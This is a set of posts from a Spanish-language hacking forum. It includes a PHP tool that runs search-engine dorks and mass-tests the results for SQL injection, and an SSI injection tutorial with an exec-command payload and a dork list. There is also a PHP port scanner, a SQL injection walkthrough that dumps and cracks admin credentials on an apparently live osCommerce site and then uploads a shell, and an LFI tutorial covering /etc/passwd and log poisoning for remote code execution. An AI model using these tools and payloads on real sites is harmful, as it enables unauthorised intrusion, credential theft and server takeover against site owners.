denle permisos a la carpeta para que se les agregue una lista de dorks si gustan sino comenten esas dos lineas...

pueden seleccionar el checkbox pero como hace una comparacion aveces da falso positivos si es una pagina dinamica por ejemplo que cambia su contenido como un slider... o diferentes cosas daria falsos positivos tambien .... o redirecciones, etc....

Aca esta el codigo sin ofuscar xD :P

Código: php

<title>Buscador SQLi</title>
<style>
body{
	background-color: black;
	color:white;
	text-align: center;
	text-decoration: none;
}
.text:hover{
	text-shadow: 1px 1px 5px #fff;
}
img:hover{
	opacity:0.6;
}
a{
	text-decoration: none;
	color:red;
}
a:hover{
	text-decoration: underline;
}
</style>
<!-- Buscador SQLi basica usando bing by arthusu -->
<a href="buscador_sqli.php"><img src="http://i.imgur.com/jKXhnme.png" alt="logo" /></a><br />
<?php
/* 
+------------------------------------------------+
|   Buscador SQLi basica usando BING by arthusu  |
+------------------------------------------------+
*/
//sin limite de tiempo para ejecutar el script, puedes indicar segun gustes :P
set_time_limit(0);
//esta funcion lo que hace es conectar a la url que le indiquemos como parametro
function conectar_url($url){
	//inicia curl y lo guarda en ch
	$ch=curl_init();
	//le damos una opciones como la url
	curl_setopt($ch, CURLOPT_URL, $url);
	//le damos una opcion de que nos devuelva la pagina sea verdadero
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	//de que siga la redireccion como verdadero
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
	//de establecer un navegador en la cabecera user agent
	curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0");
	//aqui en esta variable se guarda la pagina
	$pagina=curl_exec($ch);
	curl_close($ch);
	//devolvemos la pagina :D
	return $pagina;
}
//si existe enviar
if(isset($_POST['enviar'])){
	// y si no estan vacios los campos
	if(!empty($_POST['dork']) && !empty($_POST['paginas'])){
	//almacenamos nuestras variables
	$dork=htmlentities($_POST['dork'],ENT_QUOTES);
	$paginas=$_POST['paginas'];
	$paginas=htmlentities($paginas,ENT_QUOTES);
	//abro un archivo y guardo los logs de los dorks que insertan :D, para poder realizar esto necesitas tener permisos de escritura en la carpeta
	$archivo=fopen('dorks.txt','a');
	fwrite($archivo, "Dork insertado: ".$dork."\n");
	fclose($archivo);
	//conformamos la url
	$bing_url="http://www.bing.com/search?q=".$dork."&first=comienza";
	//i vale 1 mientras i sea menor o igual a paginas i va ir en aumento de 1 en 1
	//en caso de que el servidor no soporte demasiadas peticiones puedes modificar o limitar el numero de paginas :P
	$i=1;
	while($i<=$paginas){
		//si se encuentra "comienza" en la url entonces lo reemplazamos por el valor de i
		$url_bing=str_replace('comienza', $i, $bing_url);
		//echo $url_bing ."<br />";
		//almacenamos en una variable lo que nos retorna la busqueda
		$conectado=conectar_url($url_bing);
		//si no se encuentran resultados entonces que lo muestre
		if(preg_match("/No se encontraron resultados para/i", $conectado)){
			echo "No se encontro ningun resultado";
		}else{
			//nos conectamos a la url para que podamos verificar los enlaces
			$conectado2=conectar_url($url_bing);
			//print_r($enlaces);
			//verificamos si se encuentran enlaces
			if(preg_match_all('/<h3><a href="(.*?)"/', $conectado2,$enlaces)){
				//tenemos e que es 0 si 0 es menor a todos los enlaces entonces vamos recorriendolos
			if(!empty($_POST['checked'])){
			   for($e=0; $e<count($enlaces); $e++){
			   	//reemplazamos <h3><a href=" por vacio para que pueda verificar el error 
			    	$reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
			    	$reemplazo=str_replace('"', "", $reemplazo);
			   		//$reemplazo=$enlaces[0][$e];
			   		//reemplazamos en =cualquiercosa por =" de manera para verificar el error
      				//$vuln=$reemplazo."'";
      				$vuln=$reemplazo;
      				$vuln2=$reemplazo." and 0";
      				//$vuln=str_replace("=","=order by 2" , $reemplazo);
      				//conectamos a la url modificada
      				$conectado3=conectar_url($vuln);
      				$conectado4=conectar_url($vuln2);
      				if($conectado3!=$conectado4){
      						echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
      					}else{
      						echo "<br />No Vulnerable:".htmlentities($reemplazo)."<br />";
      					}
      				
   				 }
   				}else{
   					for($e=0; $e<count($enlaces); $e++){
			   	//reemplazamos <h3><a href=" por vacio para que pueda verificar el error 
			    	$reemplazo=str_replace("<h3><a href=\"", "", $enlaces[0][$e]);
			    	$reemplazo=str_replace('"', "", $reemplazo);
			   		//reemplazamos en =cualquiercosa por =" de manera para verificar el error
      				//$vuln=$reemplazo."'";
      				$vuln2=$reemplazo."\\";
      				//$vuln=str_replace("=","=order by 2" , $reemplazo);
      				//conectamos a la url modificada
      				$conectado4=conectar_url($vuln2);
 
      				//si coincide con cualquiera de estos errores decimos que es vulnerable sino pues no se le pueden ir agregando mas errores...
      				if(preg_match("/You have an error in your SQL|Division by zero in|supplied argument is not a valid MySQL result resource in|Call to a member function|Microsoft JET Database|ODBC Microsoft Access Driver|Microsoft OLE DB Provider for SQL Server|Unclosed quotation mark|Microsoft OLE DB Provider for Oracle|Incorrect syntax near|Microsoft JET Database Engine error|SQL query failed|MDB2 Error|Server Error|SQL command|403 Forbidden|Warning: mysql_query|Warning: mysql_fetch_row|Warning: mysql_fetch_assoc|Warning: mysql_fetch_object|Warning: mysql_numrows|Warning: mysql_num_rows|Warning: mysql_fetch_array|Warning: pg_connect|Supplied argument is not a valid PostgreSQL result|PostgreSQL query failed: ERROR: parser: parse error|MySQL Error|MySQL ODBC|MySQL Driver|supplied argument is not a valid MySQL result resource|on MySQL result index|Oracle ODBC|Oracle Error|Oracle Driver|Oracle DB2|Microsoft JET Database Engine error|ADODB\.Command|ADODB\.Field error|Microsoft Access Driver|Microsoft VBScript runtime error|Microsoft VBScript compilation error|Microsoft OLE DB Provider for SQL Server error|OLE\/DB provider returned message|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|Oracle Error|Oracle Driver|Oracle DB2|OLE DB Provider for ODBC|ODBC SQL|ODBC DB2|ODBC Driver|ODBC Error|ODBC Microsoft Access|ODBC Oracle|JDBC SQL|JDBC Oracle|JDBC MySQL|JDBC error|JDBC Driver|Invision Power Board Database Error|DB2 ODBC|DB2 error|DB2 Driver|error in your SQL syntax|unexpected end of SQL command|invalid query|SQL command not properly ended|Error converting data type varchar to numeric|An illegal character has been found in the statement|Active Server Pages error|ASP\.NET_SessionId|ASP\.NET is configured to show verbose error messages|A syntax error has occurred|ORA-01756|Error Executing Database Query|Unclosed quotation mark|BOF or EOF|GetArray|FetchRow|Input string was not in a correct format|Warning: include|Warning: require_once|function\.include|Disallowed Parent Path|function\.require|Warning: main|Warning: session_start|Warning: getimagesize|Warning: mysql_result|Warning: pg_exec|Warning: array_merge|Warning: preg_match|Incorrect syntax near|ORA-00921: unexpected end of SQL command|Warning: ociexecute|Warning: ocifetchstatement|error ORA-/i", $conectado4)){
      					echo "<br />Vulnerable: <font color='red'><a href='".htmlentities($reemplazo)."' target='_blank'>".htmlentities($reemplazo)."</a></font><br />";
      				}else{
      					echo "No vulnerable: ".htmlentities($reemplazo)."<br />";
      				}
   				}
   			}
   		}else{
   				//si no se encontraron url entonces decimos que no coinciden con el formato
   				echo "No coincide con el formato<br />";
   			}
			
		}
		//borramos la variable url_bing para que se cree de nuevo arriba con un nuevo valor
		unset($url_bing);
		//aumentamos i a uno para que siga recorriendo las urls
		++$i;
	}
}else{
//si estan vacios los campos entonces muestra que debe llenarlos y tambien muestra el formulario de nuevo
	echo "Debes llenar los campos <br /><br />";
?>
<!-- Aqui tenemos nuestro formulario -->
	<center>
	<table border="0" width="500">
	<form action="" method="post">
	<tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
	<tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
	<tr><td><input name="checked" type="checkbox"></td></tr>
	<tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
	<tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
	<tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
	</form>
	<table>
	</center>
<?php
}
}else{
	//sino existe enviar muestra un mensaje y muestra el formulario de nuevo 
	echo '
	<center>
	<table border="0" width="500">
	<form action="" method="post">
	<tr><td><b><span class="text">Ingresa el dork</span></b></td><td><input type="text" name="dork" placeholder="dork"></td><tr>
	<tr><td><b><span class="text">Ingresa el numero de paginas a escanear</span></b></td><td><input type="text" name="paginas" value="5"></td></tr>
	<tr><td><input name="checked" type="checkbox"></td></tr>
	<tr><td colspan="2"><input type="submit" name="enviar"></td></tr>
	<tr><td colspan="2"><p><b><span class="text">Nota:</span></b><span class="text">: Si seleccionas el checkbox entonces dara mas resultados pero puede lanzar falsos positivos</span></p></td></tr>
	<tr><td colspan="2"><p><b><span class="text">Nota2:</span></b><span class="text">: En paginas son las paginas a escanear en el buscador en este caso bing, su paginacion seria 1,2,3,4...etc. Mi recomendacion es que lo dejen por defecto en 5 :)</span></p></td></tr>
	</form>
	<table>
	</center>
	';
}
/*
La nota mas importante es que le podemos ir agregando errores mientras vayas encontrando...
Este programa puede llegar a lanzar falsos positivos....
*/
?>


salu2
#64
Bugs y Exploits / Inyeccion SSI (Server Side Includes)
Abril 05, 2013, 01:35:25 AM
Esta entrada la he posteado en mi blog, antes que nada comentarles que hay informacion aqui:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Solo que aqui explico a mi manera y hago una prueba para la comprension espero que les guste :D

Bueno la verdad no soy un experto en el tema pero es muy facil de comprenderlo... Antes de empezar a explicar la inyeccion empezare dando una breve explicacion de lo que trata SSI...

¿Que es SSI?

Server side includes... es una manera de mostrar contenido dinamico en una pagina web, sin necesidad de utilizar scripts, tales como: PHP,CGI,ASP,etc
Para poder usar Ssi es necesario hacer uso de las directivas que nos provee y tener activado en el servidor la opcion para poder utilizarlo.

¿Donde encontramos esta vulnerabilidad?

La vulnerabilidad se encuentra al activar SSI en el servidor en este ejemplo usaremos Apache como servidor....

¿Como activarlo?

Bueno en xampp (el que utilizaremos en este tutorial) y en muchas paginas web vienen activado por defecto muchas veces para los formatos con extension .shtml .... para ver un ejemplo editare el archivo httpd.conf viendo que viene por defecto activado para las paginas con extension .shtml:



Como puedes mirar en la imagen de ejemplo, tenemos
AddType text/html .shtml
es decir que si tu tienes archivos con la extension .shtml seran interpretados como archivos html
AddOutputFilter INCLUDES .shtml
quiere decir que filtrara la salida de todos los archivos shtml, si es que contienen las "directivas" de ssi, asi pudiendo ejecutar contenido dinamico :)

Entonces creo una pagina de ejemplo, llamada test_ssi.shtml:



Como puedes ver agrego un archivo html que seria puro contenido "estatico", pero al agregar algo como SSI (lo tengo activado para .shtml) como la fecha y hora local, al igual que ejecutar un comando para mostrar la lista de directorios esto ya vendria siendo contenido dinamico usando sus directivas, un poco mas adelante veremos la sintaxis y algunas directivas interesantes.....

El ejemplo anterior retorna un resultado como el siguiente:



Como puedes ver me ejecuta las directivas perfectamente....

Bueno antes de comenzar a mostrarles la inyeccion...

Sintaxis SSI y algunas de sus directivas

Su sintaxis es la siguiente:

Código: php
	<!--#directiva parametro=valor -->


Como puedes ver no es tan dificil ¿he? :P ya que es parecido a un comentario agregandole su etiqueta y parametros facil de usar :D

Algunas de sus directivas mas importantes son:
include,exec,echo...

Include= tiene los parametros file, direct o virtual y como te imaginas lo que hace es incluir archivos (html,scripts,txt,etc...) :D
Exec=tiene los parametros cgi o cmd, lo que hace esta directiva es ejecutar algun comando del sistema operativo o un script cgi.
Echo= tiene de parametro var esto nos permite mostrar variables de entorno algunas de ellas son: HTTP_USER_AGENT (navegador), LAST_MODIFIED (ultima vez que modifico el documento) HTTP_ACCEPT (el tipo de contenido que acepta nuestro navegador), si quieres mas informacion: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Hay mas si quieren ver mas No tienes permitido ver los links. Registrarse o Entrar a mi cuenta :)

¿Como inyectamos?

Bueno la verdad es que para inyectar tiene que haber un "campo de entrada". Siempre que hay un campo de entrada puedes comprometer tu sitio a cualquier daño no obstante tambien te puede dar mucha diversion y paginas mas complejas como son twitter y facebook, google y youtube, etc...

Entonces ese campo para poder inyectarlo como el SSI es parecido a una etiqueta HTML podemos probar inyectando codigo html o javascript (XSS) de esta manera vamos a ver si podria ser vulnerado, en este caso ya no utilizare mas el html anterior sino utilizare un archivo PHP, para eso he configurado un archivo de configuracion .htaccess para que me acepte SSI en archivos PHP aunque no es necesario ya que PHP genera contenido dinamico pero es como parte de la Poc (Prueba de concepto)....

Aqui esta mi configuracion de mi .htaccess:



Y este es mi archivo vulnerable:



Como puedes ver no se filtra el campo d etexto prueba ni tampoco enviar, pero bueno en este caso prueba es el que nos interesa por que lo que hace es mostrar lo que le ingresemos dentro.... Como se veria la pagina seria:



Entonces un ejemplo muy muy basico de XSS es:

Código: php
<script>alert(1)</script>


y el resultado al ingresarlo en el campo es el siguiente:



Como puedes ver es vulnerable a XSS, entonces ¿que pasaria si ingresamos alguna directiva de SSI? ya que como acepta codigo XSS que es inyectado en la pagina web, entonces podria aceptarnos una directiva :D

Entonces listemos los archivos del servidor:
Código: php

<!--#exec cmd="ls -la"-->


En este caso como se que puedo inyectar XSS entonces formateo el texto con la etiqueta pre para que me formatee el texto al igual como me sale en la terminal :D



Y como vemos se ha ejecutado nuestro comando, entonces solo es cuestion de bajar la shell y tenemos control sobre el servidor :D, de todas maneras tenemos ejecucion de comandos remotamente (RCE) con lo que seria suficiente para algunos :P

¿Como lo solucionamos?

Simplemente validar bien la entrada soluciona el problema... para validar la entrada de este ejemplo:



En este caso como filtra cualquier codigo html o javascript que podamos inyectar, por ende no nos aceptaria la directiva sino que lo que haria es lo que "realmente queremos" mostrar lo que ingrese :D



Nota importante: Antes de que digan algo como dije PHP ya es dinamico entonces no es necesario que se incluya en archivos PHP pero podria haber un que otro .shtml vulnerable por ahi... y no solo eso sino cualquier campo de entrada que pueda o no mostrarse en la pagina web y que lo interprete el archivo o web que utilizamos puede ser vulnerado mientras SSI este activado, en ese caso si no lo utilizas y haces alguna de estas cosas puedes "desactivarlo" borrando las entradas anteriores :D

Si quieren practicarlo pueden usar alguna tecnica de buscadores para encontrar alguna que otra web vulnerable, recuerden que al principio dije que muchas veces viene activado por defecto en archivos .shtml y bueno casi siempre cuando hacen algun ejemplo de XSS es en un buscador, login o campo de entrada :P

Agrego lista de dorks:

Código: php

inurl:bin/Cklb/ 
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=


Espero que les haya sido de utilidad este tuto, si les gusto comenten no sean trolls jajaja :P

Nota: Criticas constructivas sino ni comenten xDD :P
#65
Base de Datos / MySQL minitutorial parte 4
Marzo 30, 2013, 03:47:17 AM
Bueno underc0de he terminado la parte cuatro, lo hago cada que tengo tiempo lo bueno es que en blogger queda guardado xDDD no viene alcaso pero bueno aqui les dejo el enlace:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

espero que les guste  salu2
#66
Back-end / Miniscanner de puertos en PHP
Marzo 29, 2013, 11:10:20 PM
Bueno siguiendo la idea de Sanko en su post: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
pues entonces pense que se podia hacer en php y pues aqui lo dejo, no soy muy bueno programando pero a lo mejor  alguien le sirve....




Código: php
<title>Escaner puertos</title>
<style>
	body{
		background-color: black;
		color:white;
	}
</style>
<?php
//no se cuantos puertos escanearemos entonces dejo que el script pueda ejecutarse y se tome su tiempo :P
set_time_limit(0);
//si existe enviar entonces.... que realice los siguientes procesos
if(isset($_POST['enviar'])){
	//atrapo todos los parametros del formulario y les quito xss :P
	$url=htmlentities($_POST['url'],ENT_QUOTES);
	$pi=htmlentities($_POST['pi'],ENT_QUOTES);
	$pf=htmlentities($_POST['pf'],ENT_QUOTES);
	//si no esta vacio ninguno de los campos Nota: Esto se puede validar mucho mas tanto como tu quieras...
	if(!empty($url) && !empty($pi) && !empty($pf)){
		//le muestro un mensaje con el objetivo y uno que espere mientras esta escaneando...
		echo '<h3>Objetivo:<font color="red">'.$url."</font></h3><br />";
		echo 'Espere mientras se esta escaneando puede tardar.<blink>.</blink><blink>.</blink><br />';
		//le asigno a $i el valor de pi que es el puerto inicial y mientras el puerto inicial sea menor al puerto final va aumentar de 1 a 1
		for($i=$pi;$i<=$pf;$i++){
			//si la coneccion se realizo existosamente entonces el puerto esta abierto
			//los parametros de fsockopen son la url,puerto,error coneccion,error coneccion,tiempo limite
			if($connect=@fsockopen($url,$i,$errno,$errstr,5)){
				echo '<font color="#30E319">Puerto abierto:'.$i."</font><br />";
				//cierro la coneccion
				@fclose($connect);
				//borro la variable connect se creara arriba
				unset($connect);
			}else{
			//si no se realizo la coneccion no devuelvo nada
				echo NULL;
				//echo 'Puerto cerrado:'.$i."<br />"
		}
		//libero el buffer
		flush();
	}
	}else{
		//si los campos estan vacios muestra un mensaje y el formulario
		echo '<b>Rellena los campos correctamente</b><br />';
		echo '
	<h1>MiniScanner de Puertos:</h1>
		<form action="" method="post">
			<b>Ingresa la url:</b><input name="url" type="text" value="www."><br />
			<b>Ingresa el puerto inicial:</b><input name="pi" type="text"><br />
			<b>Ingresa el puerto final:</b><input name="pf" type="text"><br />
			<input name="enviar" type="submit">
		</form>
	';
	}
}else{
	//sino existe enviar que me muestre el formulario
	echo '
	<h1>MiniScanner de Puertos:</h1>
		<form action="" method="post">
			<b>Ingresa la url:</b><input name="url" type="text" value="www."><br />
			<b>Ingresa el puerto inicial:</b><input name="pi" type="text"><br />
			<b>Ingresa el puerto final:</b><input name="pf" type="text"><br />
			<input name="enviar" type="submit">
		</form>
	';
}

?>


Nota: Antes de que que me troleen pueden hacerme criticas constructivas :P xD salu2
#67
GNU/Linux / [TIP] Obtener ip desde la terminal con underc0de
Marzo 27, 2013, 12:00:04 AM
Bueno como todos sabemos tenemos un servicio para obtener la ip en underc0de es algo basico pero con un comando estaria mucho mejor o mas facil, por ejemplo:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
nuestro servicio :D

para poder usar lo siguiente necesitamos tener instalado curl: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
si usas ubuntu sigue estos pasos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

ahora solo ejecutar lo siguiente:
Código: php
curl http://www.underc0de.net/myip.php | grep 'Mi IP:


pero que pasa sale el pantallazo mostrandote tu ip:


bueno pero esto todavia sigue siendo muy largo y muy dificil de recordar ¿no creen?, pues podemos utilizar un alias... creamos uno editando el archivo, para ello tienes que encontrarte en la home, puedes usar cd :D

Código: php
cd

Código: php
sudo gedit .bashrc

Código: php
alias miip="curl http://www.underc0de.net/myip.php | grep 'Mi IP:'"


quedando asi:


entonces para obtener la ip es tan facil como usar, miip como si fuese un comando :D

Código: php
miip




espero que este tip les haya sido de utilidad, aunque se que es demasiado basico para algunos jejeje salu2
#68
Base de Datos / MySQL minitutorial parte 3
Marzo 25, 2013, 08:47:56 PM
Que tal underc0de, he estado siguiendo con la serie :P todavia no termino pero espero que les guste esta parte :D

ver online:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

les dejo un video de todo lo que llevaremos hasta ahora :D



salu2 :D :P
#69
Base de Datos / MySQL minitutorial parte 2
Marzo 18, 2013, 05:31:35 AM
Bueno amigos de underc0de he sacado la parte 2 como no tenia nada que hacer estos dias xDDD
Sin nada mas que decir aqui se las tengo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

la posteo asi por que esta mas o menos largito para ponerlo como post xDD

Les dejo un video de un script realizado como conclusion de el minitutorial :D

#70
Base de Datos / MySQL minitutorial parte 1
Marzo 16, 2013, 11:02:10 PM
Bueno amigos de under0code este tutorial lo hice para mi blog pero se los traigo para compartirselos es muy largo por lo que lo subi a mediafire....

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

espero les guste la primera parte :P :D
#71
Bugs y Exploits / SQL injection MySQL V4 + Upload Shell
Marzo 07, 2013, 02:54:22 AM
Hola amigos de underc0de este articulo lo postee en mi BLOG pero decido postearlo aqui tambien espero les guste :p

En este tutorial intentare mostrar como inyectar en una database MySQL Version 4....
Antes que nada debemos tener un poco de conocimientos de SQL o MySQL.
Bueno tenemos una url vulnerable.... En este caso pues yo ya se que es Version 4...
Empecemos....

Primero empezaremos viendo si la pagina es vulnerable para ello pondremos en la consulta host de la pagina un ' o " o \ o cualquier caracter no valido que pueda romper una query(peticion)....



Bueno como vemos hemos roto la consulta con un ' y sabemos que nuestra DBMS es MySQL.... ahora empecemos a ordernar columnas :D



hicimos un order by 10 es decir que ordenemos las columnas por la columna 10... pero como esa columna no existe nos envia un error "Unknown column '10' in 'order clause' " que dice que no existe la columna 10 en order by clause ....

entonces vamos intentando menos... como sabemos que no existe 10 por logica entonces debemos intentar menos por que no 5? :D



vemos que nos arroja la pagina entonces con esto sabemos que si logro ordenar por 5 columnas esto no quiere decir que tenga 5... intentemos ponerle 6 :D order by 6 :P



Ahora si estamos seguros de que esta consulta tiene 5 columnas por que a la 6 nos arrojo que no existia entonces estaria algo asi:

$query='select column1,column2,column3,column4,column5 from table where id=$id';

bueno entonces como ya sabemos cuantas columnas contiene solamente las unimos.... union select 1,2,3,4,5



cuando hacemos el union de columnas nos arroja unos numeros con eso sabemos que esos son los campos vulnerables 3 y 4 y podemos inyectar ahi nuestras funciones.... por ejemplo: version() user() database(), etc...



bueno ahi tenemos sacamos la version() que es 4.1.22 y el user con el que podriamos conectar a mysql....

entonces como sabemos que es una version 4 en esta version no se encuentra la base de datos de tipo metadatos information_schema con la que se podria conseguir las otras bases de datos, tablas, columnas y registros por lo que en este caso tendriamos que adivinar :D

entonces si ya sabemos los numeros de columnas que hay en la query solo haria falta saber desde que tabla esta seleccionando esos datos.... para ello vamos a hacer adivinando (modo bruteforce) entonces nuestra consulta formada seria de la siguiente manera:

union select 1,2,version(),user(),5 from admin

como ven admin es una tabla que no sabemos si es o no admin solo que estamos adivinando.... podria ser cualquier otra pueden usar, ya hay tablas mas usadas para ello pueden usar las que dejo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

entonces que nos saldra con la de admin ....
union select 1,2,version(),user(),5 from admin.....



como ven dice que la tabla admin no existe con eso sabemos que tenemos que buscar otra tabla y asi hasta dar con una tabla que pueda ser interesante....

el error seria:

table database.admin doesn't exist

entonces seguiremos intentando con las tablas.....



como la pagina se mostro normal con las columnas que insertamos entonces sabemos que la tabla es correcta, la tabla seria administrators....

union select 1,2,version(),user(),5 from administrators

ahora entre los campos vulnerables tenemos que empezar a buscar adivinando las columnas que pueda haber en la tabla administrators....

y bueno para no seguir lo mismo pueden usar la tabla de arriba e intentar adivinar (bruteforce) por ejemplo puedes usar id que seria normal que haya muchos usuarios en esa tabla entonces insertamos id como columna....

union select 1,2,id,user(),5 from administrators



vemos que id es un campo correcto entonces podemos ir anotando datos en un bloc de notas, gedit, kate, etc....

seguimos intentando a bruteforce (adivinando), hasta encontrar todos los campos en este caso encontre que eran: id,user_name,user_password ....

entonces podriamos hacer un group_concat para que nos mostrara todos los registros juntos, group_concat no puede devolver todos los registros si son demasiados por lo que muchas veces necesitaras utilizar solamente concat o concat_ws con un limit de los registros a devolver.....

en este caso seria algo asi:
union select 1,2,group_concat(id,0x2d,user_name,0x2d,user_password),user(),5 from administrators

donde 0x2d seria un campo hexadecimal un divisor para que sepamos donde esta cada registro 2d es igual a - en hex pero para que mysql lo reconosca como hexadecimal agregamos 0x :P



entonces tenenemos dos usuarios administrators esto lo sabemos por el separador o divisor - id-user_name-user_password

como ven nuestro usuario esta encriptado y para saber el tipo de encriptacion solo hay que saber algo sobre criptografia.....

en este caso es un md5($pass,$salt)
podemos usar un software como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para intentar desencriptarlo por medio  de diccionarios.....
o tambien puedes utizar webs online que realizan este trabajo de una manera mas rapida por que tienen guardados los datos en su base de datos.....



encontradas las passwords podemos buscar si esta aplicacion tiene programado algun panel de admin pero como tiene user y pass deberia tener no(?)
:P entonces podriamos empezar a buscar por robots.....

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

muchas veces podemos encontrar cosas interesantes....

la otra opcion que se puede usar es google o bing o cualquier buscador :D

site: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

y encontrar enlaces que puedan servir....

otra opcion es algun directory fuzzer o admin panels finders hay online tambien de estos..... aunque en este caso no utilizare por que se cual es podrias usar por ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o un servicio No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Bueno ahi tenemos nuestro login entonces lo que aqui sabemos es que es un No tienes permitido ver los links. Registrarse o Entrar a mi cuenta osCommerce nos logeamos con el user y password(desencriptada)

Encontre que la pagina de administracion tenia un script que redirigia a otra web despues de acceder por lo que active No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para que no se ejecutara el script....




revisando la pagina de administracion no tenia nada para subir shell, entonces lo que hice es como tenemos acceso a la administracion y sabemos que tenemos un cms un poco desactualizado buscamos algunas vulenrabilidades por google :D

y me encontre con uno No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
lo siguiente subir mi shell.....





Listo de aqui terminaria el articulo podriamos hacer mas ataques de vulnerabilidades, o simplemente borrar la shell dejar un simple txt para darte un credito y avisar al administrador..... nunca defacear por que como dijo No tienes permitido ver los links. Registrarse o Entrar a mi cuenta en su articulo de vulnerabilidades web comunes muchos webmasters se enojan y te buscan para encarcelarte, otros puede que sean tus amigos pero la mayoria se enojaria a nadie le gusta que le digan sus errores xD :P
#72
Bugs y Exploits / [Tutorial]Local File Include (LFI)
Febrero 26, 2013, 04:00:18 AM
Bueno underc0de tengo rato sin postear este lo hice en mi blog pero lo posteare aqui tambien espero que les guste un saludo :P

¿Que es?

Lfi significa local file include y lo que hacemos en este tipo de vulnerabilidad es pedir un archivo local por medio de la url, esto se causa por que muchos programadores no filtran sus codigos, un ejemplo comun puede llegar a ser:

Código: php
<?php
$pagina=$_GET['pagina'];
include($pagina);
?>



Este codigo lo que hace es mostrar la pagina que incluyamos por ejemplo: menu.php index.php etc...
Sabiendo eso podemos formar un dork, por ejemplo:
inurl: index.php?pagina=menu.php

inurl significa buscar en url lo siguiente ...
puedes usar google como bing o diferentes buscadores muchos arrojan diferentes resultados....

Ahora sabemos que la LFI es causada por no filtrar bien las funciones include() require() require_once() include_once()

Como explotarla

entonces como ejemplo tenemos algo asi:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

con esto muchas veces podemos saber que la variable pagina es vulnerable debido a que esta incluyendo un archivo sin filtrarlo .... que pasa si ponemos lo siguiente:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

como no es encontrada el archivo requerido arroja un error, muchas veces no lo arroja esto es por que muchos tienen desactivado error reporting pero igual es probable poder inyectar este tipo de vulnerabilidad

bueno siguiendo con el ejemplo anterior nos arrojaria algo asi:



como vemos tenemos dos directorios antes del archivo index.php es decir /homes-www/mercadier si recuerdas en linux puedes hacer cd .. y recorres un directorio atras... pues es lo que haremos escalar directorios para atras....

digamos quiero coger el archivo /etc/passwd de esa web seria: ../../etc/passwd es decir me recorro las dos carpetas despues de index y luego entro a /etc/passwd querdaria asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

esto me mostraria el archivo passwd que contiene los usuarios,ids,grupo,terminales,contraseña



muchas veces la contraseña lo tapa con x entonces para ello sabemos que se encuntran en un archivo llamado shadow que se encuentra en el mismo directorio /etc/shadow muchas veces ese archivo no se puede acceder a el por que es necesario privilegios de usuario como root por ejemplo....



tambien podemos escalar cosas diferentes como son... /proc/cpuinfo que nos ofrece informacion del cpu o los logs de apache para eso hay que ver los directorios puede haber muchos dependiendo del servidor como este instalado por ejemplo en mi caso tengo xampp en localhost seria de esta manera:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Ahora como ves no se encuentra muchas cosas pero estos los son los accesos a las webs, imaginate que en los logs se muestre algo como la cabecera user-agent es decir el navegador entonces podriamos inyectar con un sniffer de http como live https headers o tamper data e infectar los logs por ejemplo, modificar esa cabecera user-agent y poner un codigo php para mostrar un phpinfo() y veriamos en los logs la informacion del php esto seria infectar los logs.... tambien se pueden infectar logs por /proc/self/environ pero muchas veces no se muestra... veremos como infectar logs para darnos RCE (remote code execution :D )

Infectando logs por medio de /proc/self/fd

Bueno este es un nuevo agregado a este tutorial que es infectar logs por medio de /proc/self/fd y asi obtener RCE (remote command execution) :D
Para empezar utilizare No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por que simplemente me carga mas rapido que el firefox que como son archivos largos puede llegar a colgarse.... empecemos haciendo una peticion del archivo /proc/self/environ a una web vulnerable a LFI...



bueno entonces intentemos con algo como /proc/self/cmdline o /proc/self/stat o /proc/self/status

con cmdline devuelve la linea de comandos si hago una poc(proof of concept) en mi pc sale bash y si hago una poc(proff of concept) en la web sale php con esto sabemos que su cmdline en este caso es el proceso php

stat y status nos devuelve el estado con su pid en el primer caso y en el segundo con size y mas informacion adicional :D



